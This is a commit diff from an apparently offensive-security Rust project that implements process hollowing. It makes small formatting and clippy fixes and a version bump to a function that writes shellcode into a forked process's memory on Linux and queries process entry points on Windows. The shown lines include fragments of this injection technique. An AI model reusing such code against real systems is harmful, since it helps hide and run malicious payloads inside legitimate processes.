clippy warning on forked process execution

Author: kmanc

process_hollowing/Cargo.toml

@@ -7,7 +7,7 @@ license = "MIT"
 name = "process_hollowing"
 repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing"
 rust-version = "1.63"
-version = "1.14.0"
+version = "1.15.0"
 
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 

process_hollowing/src/process_hollowing_linux.rs

@@ -23,9 +23,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
 
             // Write the shellcode over where RIP used to point, one byte at a time
             for byte in shellcode {
-                if let Err(error) =
-                    write(child, point as *mut c_void, *byte as i64)
-                {
+                if let Err(error) = write(child, point as *mut c_void, *byte as i64) {
                     panic!("Unable to write portion of shellcode at {byte} to {target_process}: {error}");
                 }
                 point += 1;
@@ -46,7 +44,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
             // Execute the target process in place of the currently running one (ie, the child)
             let executable = CString::new(target_process).unwrap();
             let arguments: &[&CStr; 0] = &[];
-            execv(&executable, arguments).unwrap();
+            // Returns an infallible, which can't be unwrapped or used really, but should be stored
+            let _ = execv(&executable, arguments);
         }
         Err(err) => panic!("Forking the parent failed: {err}"),
     }

process_hollowing/src/process_hollowing_windows.rs

@@ -54,7 +54,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
             POINTER_SIZE_TIMES_SIX,
             &mut 0_u32,
         )
-    }.is_err() {
+    }
+    .is_err()
+    {
         panic!("Could not get the entry point with NtQueryInformationProcess");
     }